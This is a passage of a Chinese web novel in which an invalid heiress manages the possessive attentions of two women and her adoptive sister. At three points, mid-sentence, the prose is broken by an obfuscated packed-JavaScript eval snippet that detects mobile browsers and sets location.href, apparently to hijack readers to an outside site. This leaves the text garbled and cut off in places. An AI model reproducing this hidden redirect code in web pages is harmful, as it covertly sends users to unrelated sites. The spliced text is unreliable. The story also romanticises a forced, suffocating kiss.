正准备开口答应陆离,却见俞伶伊不紧不慢地走上前来,一只手轻搭在陆离肩膀上,软声说道: “陆姐姐,我姐姐不说话,不就是默认拒绝了吗?为什么你还要继续纠缠呢?” 话是对陆离说的,眼神却是放在俞泠身上的。 那双笑意盈盈的眼眸,专注地注视着俞泠,干净透明,却让人看不透其下藏着的情绪。 俞泠莫名觉得此刻的气氛有些古怪。 陆离固执地抱着她不放,而她的妹妹,却像是在劝一个胡搅蛮缠的情人松手。 俞泠轻咳了一声,顺着俞伶伊的话说道:“陆离,你抱得太紧了。先松开。” 可能是胸腔被压迫,导致俞泠说话有些困难,带着几分不自觉的喘息,尾音含糊,如同困兽轻呜,引得在场两人神色皆是一变。 陆离听话地松开了双臂,只是那双眼周浮着浅淡青黑的眸子,仍然固执地看着俞泠: “你又要拒绝我吗?” 她声音清冷低哑,语调平平,却带着难以忽视的压迫与执拗。 ——“又要”。 这两个字一出,俞泠的的羽睫微颤,抬眸望去,正撞上陆离一双幽沉的眼眸,无波无澜,却又透着分明的黯淡。 “我……” 才说了一个字,便被俞伶伊打断:“陆姐姐,我不知道你和我姐姐之间发生了什么。但是我想,无论如何,我的姐姐应该都是要比你更加需要一个好的睡眠。” 她的笑容很甜,甚至看向陆离的目光也是一如既往的开朗,只是话语中却透露出俞泠少见的锐利。 陆离却恍若未闻,站在原地,一动不动,只是沉默地等待俞泠的回答。 如果只是陆离一个人,俞泠会点头答应。但俞伶伊在旁,且态度分明,她就有些犹豫了。 她眸光微动,忽然想到了一个法子。 先对俞伶伊安抚道:“俞伶伊,你的姐姐好着呢。我看,陆离现在的样子比我才像快要死掉一样。” 只是这话不怎么好听。 俞伶伊用那双湿漉漉的杏眸,望了俞泠好大一会儿,最终收回了目光,垂下眼眸,转身离去: “姐姐,那我先去准备晚餐。姐姐刚醒,一定很饿吧?” 俞伶伊一走,陆离便再次伸手拽住俞泠的手腕。 这次陆离的眼神更加晦暗,声线也低了几度:“别再说那个字了。” 俞泠明知故犯:“怎么?你害怕?我都不怕,你比我还胆小吗?” 回之俞泠的是一片沉默。 俞泠已经习惯,略过了这个话题,直接转向刚才陆离的请求:“你想和我一起睡,可以。” “但是有个要求。” 陆离颔首,示意俞泠继续向下说。 俞泠不满地皱了皱眉头:“怎么现在像是我在求你一样?” “我的要求就是,回答我一个问题。” 陆离似乎已经知道俞泠的问题是什么,听到这句话后就松开了刚才握住俞泠手腕的手,向后退一步,站在光影边缘,静静地凝视着俞泠,表情冷淡到近乎疏离。 俞泠更加疑惑:“为什么?” “陆离,你明明也清楚的。”眉头微蹙,语气不解。 明明你是喜欢我的,明明你是对我有占有欲的,为什么不肯承认呢? 陆离没有说话,眸中的情绪宛若漩涡一般在翻涌,过于黑的瞳仁在明亮的灯光下,呈现出黑珍珠一般的光泽。 在陆离转身离开的下一刻,俞泠深深叹了口气: “陆离,回来。”娇声喝道。 “我答应你。” 语气不甚情愿,俞泠咬牙切齿地说出来这句话。 陆离眉心的冷意在瞬间消融,唇角微弯,看向俞泠的眼神终于有了一丝柔和与放纵:“好。” ** 几年前,连俞家的商业对手,也都在感叹俞母的好眼光。 女儿不幸腿残,身体病弱,本以为俞母会从旁家选一个孩子培养,没想到竟是直接从孤儿院抱养了一个。 而且这个抱养的二女儿,自小便展现出过人的天赋。她年纪尚轻,便已介入家族事务,手段沉稳,能力出众,哪怕未成年,也足以令人赞叹。 容貌出众,性格温润不失强势,成绩优越,擅长社交,处理公司事务更是游刃有余。 她是一个完美的继承人。 比如这次帝丹学院的期中考核,所有年级统一时间考试。俞泠得了第二的同时,俞伶伊毫无疑问是她的年级的第一。 餐桌上静悄悄的,只有刀叉与瓷器碰撞的声音。 陆离向来寡言,俞泠没有心情说话,而俞伶伊却似乎没有被刚才的事情影响到。 像一个月前来的那次一样,俞伶伊仍旧递给了俞泠几颗糖果,为她夹菜盛粥,无微不至地照顾着俞泠。 俞伶伊的脸庞还有几分未褪去的婴儿肥,少女的娇俏与成年的沉静在她身上交错,明朗的眉眼有种别样的吸引力。 为俞泠低头盛饭时,距离有些过于近,脸上的细绒清晰可见。 “俞伶伊,恭喜你得第一名。”俞泠突兀地开口。 俞伶伊的动作顿了顿,随即恢复自然,继续流畅地为俞泠盛饭。 状若无意开口:“姐姐怎么突然说起这个了?” “没什么。”俞泠似笑非笑地看着她,“你们说今晚是我的庆功宴。但我想,现在这个桌子上有两个第一,我一个第二怎么好意思呢?更何况,妈妈也提前离开了。” 俞伶伊难得沉默了一下,随即温和地解释:“妈妈很在意姐姐的,只是今晚确实走不开……” “滋——”刀叉划过盘子的刺耳声音响起。 陆离垂着眸,眼睫投下一片阴影,将她的眼神掩藏在垂落的秀发下面。 她一刀一刀划着盘子上的牛肉,骨节分明的手指紧握刀叉,说出的话却冷淡到几近没有情绪: “那你未免也太没用了点,竟然不能替俞阿姨解决问题。” 俞泠警告似地瞥了陆离一眼,又转头望向俞伶伊,撇清关系道:“我可没有要怪你的意思。” 而闻言,俞伶伊的神色仍旧肉眼可见的落寞起来,敛着眉眼,小心翼翼地觑着俞泠的脸色,苦笑道:“抱歉,姐姐……是我的问题。” 如果她头上真有一对狗耳朵,此刻大概早已耷拉下来,楚楚可怜。 俞泠烦躁地放下筷子,结束晚餐,不耐烦地重复道: “都说了,我没有怪你的意思。” 俞伶伊怔了一下,笑容蓦地宛若向日葵般突然绽放:“我相信姐姐。” 气氛刚稍稍缓和,陆离忽然又冷不丁开口:“三天后的珠宝拍卖会,你会去吗?” 询问的是俞伶伊。 俞伶伊也放下了筷子,修长手指捏着水杯,正准备喝水的动作轻轻一顿,听见陆离的话后,好脾气地回答: “俞氏与祁氏合作的那个项目吗?本来是不会去的,不过陆姐姐突然问起这个,是希望我出席吗?” 听到这,一旁的俞泠微微挑眉,好奇心被提起来些。她记得一个月前,祁今渔和俞伶伊谈的也是两家企业合作的这个项目。 “祁今渔会去吗?”陆离没有回答俞伶伊的疑问,又问了个看似不相关的问题。 “据我所知,祁姐姐也不会去。” “你最近和祁今渔见过面吗?” “没有。”俞伶伊摇摇头。 “那你去吧。”陆离道。 陆离的唇角勾起来一个很小的弧度:“如果你去的话,祁今渔也一定会去的。” 俞泠听不下去了,打断了这两个人的哑谜,恼怒道:“故意在我面前说这些事情吗?” “那这样好了,这个拍卖会我也要去。” 陆离仿佛等的就是这句话,转头点了点头:“好,我带你去。” 空气才刚落定,俞伶伊那边又扬起了笑。 她看向陆离,眸光澄澈:“我也有一个问题想要问陆姐姐。” “陆姐姐,你应该也知道我姐姐在竞选高三级长。” “陆姐姐会放弃吗?”语气十分真诚。 “这些事情,早已经接手公司事务的你,俞伶伊,你不会比我更明白了。”陆离没有直接回答,而是抬起头,望进俞伶伊的眼底。 “如果你真心想让你的姐姐胜任,你询问的人不应该是我。” 俞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15805583|175132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伶伊歪了歪头,噗嗤一声笑了出来,仿佛遇到了什么极为好笑的事情一样:“陆姐姐,你是在怀疑我帮助姐姐的真心吗?” 陆离没有回应。 她收回视线,低头,放下刀叉,慢条斯理地擦拭近乎无色的嘴唇。 然后站直身子,黑色的瞳孔向下一转,接近纯色的黑在洁白中摇晃着,俯视俞泠,宛若细碎的雪花落到了俞泠身上。 “俞泠,我之前说过,你想要,拿走便是。” “这句话,对什么都成立。” ** 淅淅沥沥的水声从浴室传来。 俞泠盖着被子,盯着天花板发呆。 不一会儿,蹬蹬的一阵脚步声靠近,门轻轻被推开一条缝,俞伶伊的小脸从门缝里探进来。 在昏黄灯光的映衬下,那双湿润的杏眸宛如被星光晕染,亮晶晶的:“姐姐,如果有什么事情的话,我一定会及时来帮助姐姐的。” 俞泠的语气带着点儿无奈:“只是睡个觉而已,能有什么事?” 至于她打算趁机和陆离发展些什么的事情,当然不好告诉她的妹妹。 结果才安静了没几分钟,又是一阵脚步声,不仅人回来了,连被子也一起带上了。 “不行,姐姐,我实在放心不下。”边解释,俞泠边指示着下人把两张单人床抬进了俞泠的房间。 “姐姐的房子是我设计的嘛,所以我很清楚,姐姐的房间刚好可以再放下这两张床。”她说得理直气壮。 俞泠故意质问道:“你认为我和陆离会发生些什么?” 刚问出口,她便有些后悔。她要做俞伶伊的好姐姐,这个问题可不是好姐姐应该问的。 刚要岔开话题,就听见俞伶伊一本正经地回答:“不知道。” 她说着,轻轻耸了耸鼻尖,更像一只小狗了。 “但是无论发生什么,我都不会容许的。”俞伶伊板起脸,语气严肃中带着故作的凶狠,故意张牙舞爪。 于是,当陆离裹着浴巾出来的时候,看到的就是这样的一副场景。 俞伶伊乖巧地坐在一张单人床上,戴着一副黑框眼镜,借着床头的光正在读书。另一张单人床,显然是为她留的。 听见浴室开门的声响后,俞泠勉强地睁开眼,迷迷糊糊地招呼道:“陆离?快点睡吧。” 尾音黏糊,透着浓浓的倦意。俞泠总是睡不够。 ** 俞泠颇有些脑袋痛,不是因为病情加重,而是因为手机上的一条又一条信息。 索性放下手机,不愿再去想,直接将头转向另一边,欣赏窗外飞驰而过的风景。 初夏的天气刚刚好,温煦的阳光透过车窗,斜斜洒下,笼罩在俞泠身上,暖洋洋的。 窗外的景色也刚刚好,轻薄的云朵在蔚蓝的天空中自由漂浮,一望无际的原野伸向远方,山丘仿若波浪般起伏。 “是什么惹我们的小泠生气了呀?”女人含笑的声音装满了这个密闭的空间。 俞泠坐在副驾驶位上,懒洋洋地拖着下巴,漫无目的地看向窗外。 “当然是你了。”跟随着车内轻缓的音乐声,俞泠轻晃着脑袋,试图享受这片刻的宁静。 祁今渔佯做投降:“如果小泠这样说,那一定是我的不是了。” 她一手稳稳地握着方向盘,另一只手随意搭在窗边,指尖修长而白皙,骨节在暖阳下泛着珠贝般的光泽,栗色长卷发被风搅动着。 俞泠扭头看向开车的女人,孩子气地耍赖道:“对,一切都是你的错。” “如果是小泠为我判罪的话,那我欣然接受。”尾音裹着蜜糖般的笑意,指尖轻轻叩击皮革方向盘。 俞泠的眼神却越过了方向盘上修剪圆润的指甲,落到了祁今渔微微扯开的衬衫领口。 等不及了。 俞泠想着。 陆离给她发消息,仗着失眠,声称今晚还要去她家睡。 俞伶伊一反常态,开始每天给她报备日常,不再是之前一个月才联系一次。就像是被昨天那句“你是在怀疑我帮助姐姐的真心吗”刺激到了一样。 母亲还在对昨天的缺席抱歉,并询问与俞伶伊相处的情况。 明明她本来计划的是一个个攻破,结果现在却总是两两凑堆在她眼前,一不留意事态就不知道坠向何处。 今天只有她和祁今渔。 一切看起来都是恰好的时机。 11. 第 11 章 祁今渔偏头看了眼副驾驶上的俞泠,唇角噙着淡淡的笑意,又转头专心致志地驾驶。 余光里俞泠病恹恹的轮廓,镶着毛茸茸的阳光金边,静静地窝在座位上。 女孩的病情似乎加重了,时不时地轻咳两声,嗓音浸着药水浸泡过的沙哑。 “昨晚小泠睡得不好吗?”祁今渔关心道。 “嗯……挺好的。”虽然三人同居一室,但是俞泠困到根本感受不到其他人的存在,倒与平常没有什么区别。 想到什么似的,俞泠不可思议地问道:“你知道了?” 祁今渔大方地点头承认了:“小伊告诉我的。” 这个俞伶伊,怎么什么都告诉其她人?上次也是她告诉陆离,祁今渔留她家吃晚餐的事。 俞泠撇撇嘴,不再继续这个话题。 鼻尖轻轻耸动,她轻声嘟囔:“祁今渔,你什么时候换香水了……” 祁今渔却没有回答这个问题,而是轻轻问道: “小泠,你不好奇我要带你去什么地方吗?” 俞泠靠着座椅闭着眼,晒着阳光,声音懒洋洋的,带着不设防的疲倦与某种近乎诱惑的随意:“我都已经在你车上了,无论你想干什么……我还能反抗吗?” 这话说得太过顺从,像是无意,却颇有几分暗示的暧昧。 果不其然,祁今渔突然笑起来,肩膀微微颤动,喉咙中溢出低低的笑声,罕见地有如此放肆的时候。 趁着等红灯的时刻,她转头,眼眸中是未褪下的笑意,看向面前女孩的眼神异常认真: “我想带你去,一个只有我能欣赏到你的地方……” 红灯转绿,车外的鸣笛声,车水马龙的嗡鸣声同祁今渔的声音重合在一起。 上扬的唇角逐渐扯平,明明阳光灿烂,眸子中的琥珀色却越来越深,宛若一潭深不见底的黑水,温柔地包裹住眼前的女孩。 ** 祁今渔带她来到了一个庄园。 脱离了大城市密密麻麻的建筑,这里的一切都十分开阔。 “怎么样,小泠一定很喜欢吧。” 祁今渔绕到俞泠身前,张开手臂,仿佛要拥抱整个世界。 金色的阳光洒在她的身上,栗色长发轻柔地随风舞动,她就那样立在阳光之下,像是被太阳宠爱的天使。 与车上时,那任凭丝丝阴暗心思蔓延生长的人判若两人。 俞泠坐在轮椅上,微微仰头,迎着天际洒下的暖阳,眸光随着视线缓缓流转。 放眼望去,庄园的景色开阔而宁静,远方的山峦层叠起伏,无边的绿野化成了碧色的波涛。 微风拂过,大片的薰衣草与雏菊随风轻轻摇曳,空气中弥漫着植物的清香。 “嗯。这里是?”俞泠轻声应着,一反常态地没有反驳回去。 祁今渔俯身含住俞泠的唇瓣,似咬非咬地摩挲着,将身下的女孩吻得满脸通红,才意犹未尽地放开。 从被这片景色惊艳住的晃神中清醒过来,乍然被迫承受祁今渔的吻,俞泠一边喘息,胸脯上下起伏,一边嗔怒道: “祁今渔,所以你就是打算换个地方继续接吻吗?” “是我的专属画室之一。”祁今渔眉眼含笑,这才正面回答俞泠刚才的问题。 她缓缓将俞泠推到大片的花丛正中间,两人穿梭在层层翻涌的花浪之间。 到达花浪的中心处,俞泠才发现,这里早已经铺好了一层白绒毯子,干净柔软。 祁今渔停下动作,走到俞泠的面前,那张好看的脸再度缓缓低下。 俞泠下意识闭眼,然而,只有发丝间的白茶清香扑到她的鼻尖。 意识到什么后,俞泠颇为恼怒地睁眼,果不其然看到了祁今渔满眸的打趣和戏谑。 皱了皱眉,声音带着点气急败坏:“祁今渔,你到底要干什么?” 祁今渔这才不紧不慢地悠悠道:“请俞泠小姐再次担任我的一日模特,俞小姐愿意吗?” ……又是模特? 祁今渔这家伙这么热爱绘画? ** 俞泠是因缺氧而醒的。 远离了城市的钢筋铁骨,祁今渔带她驶入这个宛若世外桃源的庄园,路程不短。 精力远不如常人的俞泠,在被祁今渔温柔地放到了白绒毯子上后,几乎很快就陷入睡眠中了。 半梦半醒间,她只能感受到祁今渔在时不时地摆弄她的身体——像是雕塑师调整一件得心应手的作品,每一次动作都带着细致、专注、和某种过度的执迷。 阳光暖融融的,花香缭绕,空气清新得过分。这样的环境实在令人放松,她的意识一点点下沉,沉入无知觉的黑暗。 蓦地,她的五官仿佛被封闭住了。 呼吸被剥夺,口腔中充斥着另一个人的味道。 与之相随的,是胸腔中越来越激烈的心跳声。 空气仿佛被抽离,天与地都在悄然塌陷,只剩下唇舌缠绕间的炽热气息,密不透风地将俞泠笼罩住。 与之前的吻截然相反,这次的吻如狂风暴雨,毫无怜惜与温柔可言。 那双修长的手指扣在她的后颈,不容拒绝地将她的脸固定住,炙热而强势地侵占着她的全部感官。 真的…… 俞泠的睫毛轻颤着,指尖无力地攥紧祁今渔的衣襟,试图推开,却被更加紧扣在怀里,微弱的抗拒被温柔而压迫地化解,只能被迫承受着上位者强势的侵犯。 喉咙里溢出细碎的呜咽,像困兽般无力地呢喃,带着微弱的求生本能,却被炙热的吻吞没得彻底。 会死的…… 她的脸颊泛起不正常的潮红,指尖麻木,耳边嗡嗡作响,窒息的痛苦像潮水般从四肢百骸席卷而来。 那一刻,她甚至生出一丝恐慌——如果祁今渔不放开她,她会不会真的死在这个吻里? 就在她快要彻底失去意识的瞬间,唇上的侵略终于缓缓退出,空气猛然回归肺腑,俞泠猛地喘息起来,胸腔仿佛被火灼烧般疼痛。 眼前的视线渐渐回归,那几近晕眩过去的白光消失,俞泠无力地躺在祁今渔的怀中,一只手温柔地抚摸着她的脸颊。 她的眼尾泛着湿意,晕染上一抹脆弱的绯色。唇瓣被吻得肿胀微红,残留着紊乱的喘息。 俞泠首次对自己的选择产生怀疑。 或许她不该选择祁今渔作为第一个攻略对象的。 她早就知祁今渔远没有她表现出的温柔知意,却也没料到这人突然像只疯狗一般发疯咬人。 “……祁今渔。”俞泠没有力气诘问祁今渔,最终只是咬牙切齿地念了她的名字。 “小泠,我在。”惯常的似笑非笑的语调,尾音是刻意上扬的温软,连落在她面上的眼神,都是一如既往地温柔亲昵。 早已不知过去了多久,俞泠对时光的感知都变得模糊不清。来时还明媚的天光,现在都已介于半明半暗,空气中的温度也开始有些微妙的变化。 她使了仅有的一点力气,拽住祁今渔的衬衫衣领。 祁今渔温顺地低头,却始终一动不动地盯着她,目光仿佛黏在她身上一般。 “小泠辛苦了,谢谢当我的模特。”声音像温润的玉。 俞泠的指尖微蜷,身子发软。她抬起头,双颊的绯红甚至还没有褪去,唇畔却勾了一丝莫名的笑。 “我们现在是什么关系?” 俞泠撞进祁今渔的眸色中,琥珀色的眸光,在天光渐暗中,像是随着月光一同升起的星辰。 俞泠的眼神逐渐下移,烙在了那个好看的唇形上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15805584|175132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就在不久前,祁今渔用这张唇,像是要她死一样,肆意掠夺着她的呼吸。 “做我的恋人。” 俞泠一字一句要求道。 否则,那也太亏了。 被啃了这么多次,再继续停留在这种暧昧关系上,俞泠不甘心。 她看见眼前的薄唇微张,一字一句,语气柔缓—— “这可是小泠主动要求的。” 话音一落,俞泠再度被扑倒在白绒毯子上。 祁今渔俯身压下,眼底是化不开的笑意,唇瓣落下的吻却炽热得惊人,密密麻麻,又恢复到了之前的温柔中。 另一边,她的手指缓缓下滑,带着试探,却又不容抗拒地渗透进空气的缝隙,如丝绸般摩挲过俞泠微凉的肌肤。 不知道是夜色渐深,还是气息太过灼热,被她触碰过的地方,都泛起一片战栗的悸动,迅速滚烫起来。 当那只手探入裙摆的瞬间,俞泠抬起手,柔若无骨,指尖微凉,轻轻按住了祁今渔的手背:“够了。” 她轻声道,嗓音微哑,呼吸仍带着几分紊乱。 “祁今渔,你有多喜欢我?”仿若在确定什么。 身上女人的动作微顿,她将手抽离出来,拂开女孩鬓角略湿的发丝,四目相视。 “比得到祁家的欲望,更强烈。” 祁今渔毫不掩饰地展示了她自己的野心,她要权利,在这之上,她说更想要她。 俞泠却避开了祁今渔的眼神,没有回答信不信,只是双手勾住祁今渔的胳膊,撒娇道: “祁今渔,我好冷,我们回家吧。” ** 俞泠拒绝了祁今渔把她送到家后要到她家坐坐的请求,让管家把她推到房子里。 只是偌大的豪宅灯光皆熄。 当管家推着她进入客厅时,俞泠娇纵地抱怨道:“为什么不开灯?” 下一秒,明亮的灯光倾泻而下,照亮了坐在沙发上的女孩。 明显是醉酒的样子,长发凌乱地披散下来,脸颊旁两坨酡红。 听到开门的声音后,立马站起来,像是个醉醺醺的小狗,东倒西歪地向她扑过来。 俞泠的身体一侧,躲过俞伶伊莽撞的拥抱。 “未成年不可以喝酒。”俞泠皱眉,她记忆中俞伶伊不是会允许自己随意喝醉的人。 怀抱落了空,俞伶伊立马不满地撅着嘴巴,眼睛微微眯起,原本灵动的眼眸此刻蒙上了一层迷离的雾气,长长的睫毛轻轻颤动,歪着头看着自己的姐姐。 像是没听到那句成年人对未成年人的禁令,俞伶伊仗着俞泠坐在轮椅上,活动范围有限,便把双臂张得更大,一把子抱住了俞泠,这次俞泠逃无可逃。 “姐姐……”俞伶伊哼哼唧唧,把下巴顶在俞泠的脑袋上,蹭了蹭。 俞泠明显不受用这一套,她利落地打开手机,点进备注为“妈妈”的电话,手指停留在拨打出去的选项上面,作为威胁。 “就算让你接手公司事务了,妈妈也肯定不允许你喝酒吧?” 虽然是问句,但俞泠的语气很笃定。 俞伶伊败下阵来,她蹲下去,杏眸上弥留着醉意,湿漉漉地仰视着姐姐。 “姐姐,祁今渔的朋友圈,是你吗?” “什么?”俞泠怔然,心底突然涌上一阵不好的预感。 她打开手机,直接点进朋友圈。 她通讯录中的人很少,因此,立马就看到了一张图片。 灿烂的夕阳下,两个明显属于女生的手紧紧握在一起,影子在草地上交织,露出的黑色和栗色发丝,在风的吹拂下纠缠在一起。 文案只有简单的两个字—— “恋人。” 完蛋。 俞泠的心中也只有这两个字。 12. 第 12 章 她没想到祁今渔如此的……胆大和果断。 俞泠定定地望着手机屏幕上的照片,紧急思索着对策。 车上才和祁今渔约定好先不公开恋情,转眼,她就在朋友圈发了这张照片。 赤裸裸的占有欲,毫不掩饰。 是因为陆离的事刺激到了她吗? 可她分明已经在两人之中,偏颇祁今渔许多了。 现在俞泠在思考什么时候和祁今渔分手。 手背突然传来一阵温热的触感,俞泠惊醒。 她下意识地抬眼,映入眼帘的是她的妹妹。 正轻轻地、虔诚地吻着她的手背。 那只手实在很好认。照片上的手,与俞伶伊眼前的手重叠在一起。 俞泠的手,白皙、柔弱、透明,骨节分明却纤细如瓷器,每一寸肌肤都像是上帝亲手雕琢的杰作。 就算是神明,也忍不住在这个人的手上落下一个怜惜的吻。 俞伶伊捧起这只手,和照片中一模一样的手,仿佛抱着最珍贵的宝物,神情温柔又诡异,唇轻轻贴上去。 那只手便仿佛被烫到一般,立马收了回去。 “俞伶伊?”语气是纯然的疑惑。 俞泠看着站在在自己面前的妹妹,甜美乖巧的脸蛋如往常一般,脸上因为饮酒泛起不正常的红晕,瞳孔湿润而明亮。 她对自己之前坚持的亲情论终于有了几分怀疑。 俞伶伊垂着头,神情柔软,对俞泠笑得很乖巧,仿佛方才那个吻丝毫不存在一样。 “姐姐,只是昨晚通宵给一名同学过生日,多喝了点酒而已。” 她笑得纯良无害。 “姐姐可千万不要告诉妈妈,要不然妈妈肯定会批我的,姐姐你也不希望看到我挨骂吧?”声音轻轻的,掺着点甜腻的撒娇。 俞泠冷哼了一声:“说不定呢。” 俞伶伊像是没听见,继续说着:“而且姐姐还没回妈妈的消息呢,她在公司一直自责,说是怕姐姐心情不好。她想赶紧把事务解决完,然后一家人一起去旅行。” 俞泠的眼神移向另一边,依然嘴硬:“我怎么可能因为这个心情不好?” “好了,既然你没有事情,就快点走吧,我要休息。”她准备赶人。 听到这话,俞伶伊便又装腔作势起来,捂着脑袋,一副宿醉后很难受的模样:“姐姐,怎么办,我头好痛……我想我必须现在补一觉。” “姐姐,让我在你这里睡一会儿吧,就像上次陆姐姐那样,好不好?” 她双手合掌,微微摇晃,做诚心祈求的样子。 俞泠好整以暇地看着俞伶伊戏精上身。 见俞泠没有反应,俞伶伊无奈地笑了笑,叹了一声:“姐姐还真是狠心。” 揉了揉有些杂乱的头发,眼神逐渐清明起来,那股醉意仿佛只是伪装:“姐姐,我已经和妈妈谈过了。” “关于级长竞选的事情,姐姐你一定会如愿的。” 俞泠的表情微怔,没想到又跳到这个上面。 她张了张嘴,想说“其实我没那么在意”,但看着俞伶伊那双认真得近乎炙热的眼睛,终究咽了下去。 空气忽然沉静下来。 俞泠垂眸注视着自己那只刚被吻过的手,轻声问道: “俞伶伊,你究竟想要做什么?” “什么?”俞伶伊眨着眼,仿佛不解。 “为什么之前一直避着我?” “为什么和我一见面,又假装很喜欢我?” “刚才的吻又是什么意思?” 面上没有了刚才开玩笑般的戏谑表情,换之的是一片平淡,眸中的质问与审视之意直接刺向俞伶伊。 俞伶伊却笑得更软了一些:“姐姐在说什么呀?” “为什么姐姐要这样问呢?” “我对姐姐是真心的,这个回答可以吗?” 俞泠的眉头微蹙,有些失望地看着俞伶伊。 “我希望我是你的好姐姐。” 俞伶伊的脸色有刹那的苍白。 “不过,如果做些什么别的事情……你会更开心的话——” 她微微仰起头,刚才的咄咄逼人之态消解,白皙修长的脖颈在灯光下如同象牙雕琢,毫无遮掩地暴露在俞伶伊的视线中,宛若延颈就缚,任凭俞伶伊的选择。 俞泠学着祁今渔惯用的伎俩,嘴角弧度渐渐扬起,弯着眸子全心贯注地盯着俞伶伊,宛若蛊惑般低声道: “如果我允许……你会做吗?” 啪嗒—— 俞伶伊后退了一步,脚下的小皮鞋敲击在木质地板上,发出清脆的响声。 她垂下眼睫,长长的睫毛遮住眸中翻涌的情绪,灯光穿过她的发丝,在她脸上投下深深浅浅的阴影。 “姐姐,我的真心是——” 俞伶伊突然抬头,两人视线正面相撞,极其相似的杏眼,互相凝视对方。 俞泠第一次见这样的俞伶伊,五官清丽却不再温顺乖巧,眉眼锋利,面无表情,眸色沉沉。 “希望姐姐的腿永远不要有好起来的那天。” 声音毫无温度,宛若恶魔呓语,正在朝她下最恶毒的诅咒。 话闭,俞伶伊甜甜一笑,霎时间宛若初升的太阳般灿烂,整个人又忽地亮了起来。 “你放心,我的腿永远不会好的。” 俞泠这样说着。 她看着俞伶伊离开的背影,眉头紧紧锁起。 她没想到是这样的回答。 感觉更加棘手了。 ** 夜色渐深,偌大的豪宅十分平静。 俞泠盯着手机,准备好迎接陆离或愤怒或质问的消息。一直没有等到。 结果,人直接来到了她的家门前。 管家前来禀报的时候,俞泠刚准备睡下。 带着被打扰的怒气,俞泠气汹汹地盯着刚进门的陆离: “这么晚了,你来干什么?” 外表没有上次的倦累。一头乌黑柔亮的长发如瀑般披散在背后,身穿剪裁得体的黑色西装,线条冷峻,仿佛刚从会议室中走出,连自家都没回,就赶来她这里。 清冷的眉眼如往常一般,话依旧很少,仅仅用了几个字来向她解释: “失眠,来找你睡觉。” 俞泠高高扬起眉,语气暴躁:“我都回复你不可以了。” 陆离沉默了,静静地注视着她。 然后抬起手指,轻轻指了指自己眼下泛起的青色: “可是我睡不着。” 声音宛若幽谷里的冷冽泉水,刻意放缓了语调,带着一点不易察觉的委屈,幽幽说道。 俞泠一噎,她仔细观察着面前陆离的神色。 五官清冷得近乎凌厉,那双眸子依旧淡漠,睫羽浓密低垂,唇色淡薄。 连俞伶伊都可以看出来祁今渔朋友圈的那张照片是她,陆离也肯定看出来了。 “你屏蔽祁今渔的朋友圈了吗?”俞泠冷不丁问道。 “没有。”陆离摇摇头,神色淡然,仿佛不理解为什么俞泠突然问起这个。 “我想和你睡。”她再次开口,语调平淡得像是在陈述一场理所当然的请求。 她似乎并不知道,俞泠现在已经是祁今渔的恋人——或者说,即使她知道,也不在意。 俞泠权衡了一下。祁今渔已经公开,但她也不能就彻底放弃陆离。 更何况,这么晚了,明天陆离一走,谁也不会知道她来过。 “算了,看在这么晚的份上。仅此一次。”俞泠很不耐烦似地点头。 闻言,陆离的唇角微微扬起。 下一刻,她不由分说地走上前,直接把俞泠从轮椅中拦腰抱起,向二楼俞泠的房间走去。 俞泠猝不及防地被抱起,身体猛然悬空,差点惊叫出声。她皱着眉拍了一下陆离的小臂,那一截皮肤是如冷玉一般的白,触感细腻温凉。 “陆离,等一下,我让人把昨晚的单人床先搬进来。” 陆离牢牢地抱着俞泠,闻言,修长的腿迈得毫不迟疑,直接走到了俞泠的房间中,把俞泠放在了床上。 女孩宛若海藻般的黑色秀发铺在柔软的床褥上,床榻微微下陷,宛若精致脆弱的洋娃娃被摆放在床上。 陆离没有像祁今渔一样,撑在她的上方,顺势占据她的整个视线。而是站在床边,蹙眉注视着她的腿。 神情有几分不可琢磨的克制和冷淡。 如果是祁今渔的话,现在她的整个视线就都会被那个栗色卷发的女人填满了…… 俞泠默默想到。 腿部几乎已经没有知觉,此刻被陆离注视着也没有感到任何不适,只是让俞泠想起了白天看到的祁今渔的那几幅画。 在祁今渔收拾庄园的画具的时候,俞泠趁机翻了翻她的画作。 厚厚一沓,不知道她睡了多久,祁今渔又是画了多久。 很奇怪的画。 一张一张画纸在俞泠的手中翻阅着,她只能这样评价。 少部分是她的全身画,大部分却只是一双腿。 是的,一双腿。 一双毫无血色,过于纤细的腿。 或站,或坐,或屈膝,或交叠。 或落在柔软的白绒毯上,脚踝脆弱得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她俏皮地眨了眨眼:“小泠,我可不止喜欢你的腿哦。” 俞泠的眼神在被祁今渔举起的那几张纸上游晃。 握着轮椅的手,黑发垂落在肩膀上的一角,弯出好看弧度的后背…… “准确来说,小泠的任何地方,我都十分喜欢。”祁今渔似乎对恋人关系的转换适应得极好,毫不吝啬这些示爱的话语。 ** 俞泠回过神来,没思考出祁今渔的画的用意。眼神瞥见陆离的动作后,瞳孔微睁。 陆离背对着她,正在换衣。 骨节分明的手指,将衬衫的扣子一颗颗解开。手腕微翻,白色衬衫顺势滑落,一整个上身.裸.露在空气中,透着暖玉般的颜色。 陆离的身材很好,俞泠曾经感叹过很多次。 但这还是第一次,如此直接的一览无余。 